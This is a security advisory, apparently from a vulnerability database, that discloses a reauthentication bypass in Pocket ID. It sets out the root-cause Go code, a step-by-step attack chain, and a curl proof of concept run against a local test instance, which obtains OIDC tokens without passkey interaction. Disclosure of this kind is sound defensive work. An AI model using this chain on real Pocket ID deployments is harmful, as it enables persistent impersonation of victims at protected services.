Summary
Pocket ID has a reauthentication bypass via one-time access token login — passkey step-up requirement defeated by JWT freshness check that accepts any login method
Advisory details
Reauthentication Bypass via One-Time Access Token Login
Summary
A weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with RequiresReauthentication: true. The POST /api/webauthn/reauthenticate endpoint's access-token fallback checks only JWT freshness (IssuedAt within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. session=deadbeef) is accepted, collapsing the reauth boundary to token recency alone.
The bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains access_token (1-hour TTL), id_token (victim's name, email, profile), and refresh_token (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.
Root Cause
CreateReauthenticationTokenWithAccessToken (webauthn_service.go:362-403) only checks that the access token's IssuedAt claim is less than 60 seconds old:
// webauthn_service.go:378-381
tokenExpiration, ok := token.IssuedAt()
if !ok || time.Since(tokenExpiration) > time.Minute {
return "", &common.ReauthenticationRequiredError{}
}
It does not check HOW the user originally authenticated. The reauthenticateHandler (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:
// webauthn_controller.go:189-199
credentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body)
if err == nil {
token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...)
} else {
// FALLBACK: Only checks access token age, not auth method
accessToken, _ := c.Cookie(cookie.AccessTokenCookieName)
token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken)
}
Additionally, the handler's session cookie check (line 180) only verifies that a cookie named session exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. session=deadbeef) satisfies the check:
// webauthn_controller.go:180-184
sessionID, err := c.Cookie(cookie.SessionIdCookieName)
if err != nil {
_ = c.Error(&common.MissingSessionIdError{})
return
}
// sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT
// to CreateReauthenticationTokenWithAccessToken (the fallback path)
In the fallback path, the sessionID variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.
Meanwhile, GenerateAccessToken (jwt_service.go:190-195) always sets IssuedAt(now) regardless of how authentication was performed:
// jwt_service.go:191-195
now := time.Now()
token, err := jwt.NewBuilder().
Subject(user.ID).
Expiration(now.Add(...)).
IssuedAt(now). // Always "now" — regardless of auth method
This function is called by:
- WebAuthn login (intended passkey path)
- One-time access token exchange (one_time_access_service.go:200)
- User signup (user_signup_controller.go:182)
All three produce tokens that bypass the reauthentication freshness check.
Attack Chain
Precondition: An OIDC client has RequiresReauthentication: true. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).
Exchange OTA for fresh JWT:
POST /api/one-time-access-token/{token}returns a fresh access token withIssuedAt = now.Set any session cookie: The handler checks for cookie existence only. Set
session=deadbeef(or any arbitrary value). No need to call/api/webauthn/login/start.Bypass reauthentication:
POST /api/webauthn/reauthenticatewith empty body{}and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction.Authorize sensitive client:
POST /api/oidc/authorizewith the reauthentication token and the target client's ID. The authorization code is issued.Get OIDC tokens:
POST /api/oidc/tokenexchanges the authorization code for access_token, id_token, and refresh_token.
All steps complete in under 2 seconds (60-second window is trivial for scripts).
Proof of Concept (Verified Live)
Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.
# Seed test database
curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true
# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV)
curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV
# Returns 200 with user info, sets access_token cookie with IssuedAt=now
# Bypass reauthentication - empty body triggers access token fallback
# Session cookie can be ANY arbitrary value - handler only checks existence
curl -s -b cookies.txt -b "session=deadbeef" -X POST http://localhost:1411/api/webauthn/reauthenticate \
-H "Content-Type: application/json" -d '{}'
# Returns: {"reauthenticationToken":"al9JkF9kVI0V3UsAqMJIIF73N4ogHial"}
# NO passkey interaction! Fake session cookie accepted!
# Authorize sensitive OIDC client (after enabling RequiresReauthentication)
curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \
-H "Content-Type: application/json" \
-d '{"clientID":"3654a746-...","scope":"openid profile email",
"callbackURL":"http://nextcloud/auth/callback",
"reauthenticationToken":"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7"}'
# Returns: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"..."}
# OIDC authorization code issued without passkey!
# Exchange for full OIDC token set
curl -s -X POST http://localhost:1411/api/oidc/token \
-d "grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-..."
# Returns: access_token, id_token, refresh_token
Live output from the test run:
[A3] Bypass reauthentication (empty body -> access token fallback)...
Reauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7
[A4] Authorize Nextcloud (requiresReauthentication=true)...
Authorize response: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"http://nextcloud/auth/callback","issuer":"http://localhost:1411"}
[A5] Exchange authorization code for OIDC tokens...
Token response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in']
=== FULL CHAIN COMPLETE ===
Impact
The RequiresReauthentication feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:
- Unauthorized victim-scoped downstream access: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation.
- Persistent access via refresh token: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces ne
References
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-73840
OpenChoreo: Unauthenticated build/workflow trigger via git-provider confusion (webhook signature bypass)
- HIGHCVE-2026-62669
Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge
- HIGHCVE-2026-77567
Filament: Multi-factor authentication (app) can be bypassed when recovery codes are enabled
- MEDIUMCVE-2026-55678
arc has unauthenticated cluster node admission when `cluster.shared_secret` is unset
- HIGHCVE-2026-55761
Portainer has Unauthenticated Restore Endpoint that Allows Admin Takeover on Uninitialized Instances
- HIGHCVE-2026-55533
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret